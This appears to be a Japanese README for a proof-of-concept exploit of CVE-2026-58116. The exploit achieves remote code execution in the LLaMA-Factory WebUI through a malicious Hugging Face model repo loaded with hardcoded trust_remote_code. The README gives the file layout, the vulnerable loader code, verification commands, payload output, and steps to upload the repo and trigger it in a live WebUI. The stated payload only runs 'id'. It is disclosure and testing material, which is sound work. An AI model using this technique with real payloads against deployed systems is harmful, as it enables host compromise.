CVE-2026-58116の概念実証エクスプロイト。LLaMA-Factory WebUIにおけるtrust_remote_codeモデルパスインジェクションを介したリモートコード実行を実証します。許可されたセキュリティテスト用のペイロードモデルと検証スクリプトを含みます。
trust_remote_code を介した RCECVE-2026-58116 (CVSS 9.8 Critical) の概念実証: LLaMA-Factory <= v0.9.5 におけるリモートコード実行。
LLaMA-Factory WebUI は、モデル読み込み時に trust_remote_code=True をハードコードしています(src/llamafactory/webui/chatter.py:139 および runner.py:175,320)。攻撃者が制御する「Model path」フィールドがバリデーションなしで AutoTokenizer.from_pretrained() / AutoModel.from_pretrained() に渡されるため、Hugging Face の transformers ライブラリが悪意のあるモデルリポジトリから任意の Python コードをダウンロードし実行します。
この PoC は、許可されたセキュリティテストおよび教育のみを目的としています。含まれているペイロードは意図的に無害であり(id によるホスト偵察結果を表示します)。所有しているシステム、またはテストを許可されたシステムでのみ実行してください。明示的な許可なくインフラに対して悪意のあるペイロードをデプロイしないでください。
.
├── poc-model/
│ ├── config.json # auto_map で attackerc modules を宣言
│ ├── configuration_poc.py # ペイロード: config 読み込み時に os.system("id ...") を実行
│ ├── modeling_poc.py # 最小限のスタブモデルクラス
│ └── __init__.py # インポート可能なパッケージにする
└── build_and_verify.py # シンクを単独で構築・検証
transformers は重みをロードする前に config クラスをインスタンス化するため、PoCConfig.__init__ 内のペイロードは config が読み込まれるとすぐに発火します — 重みは必要ありません。これがまさに LLaMA-Factory が src/llamafactory/model/loader.py を通じて到達するパスです:
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (ハードコード)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
ローカルでシンクを検証 (WebUI 不要 — WebUI が破る契約を証明します):
pip install transformers torch
python3 build_and_verify.py
期待される出力 — config の読み込み中にペイロードのバナーが表示されることに注意:
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
稼働中の LLaMA-Factory WebUI を介したエンドツーエンド:
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webuiyour-user/llmfcty-poc を設定し、Load Model をクリック。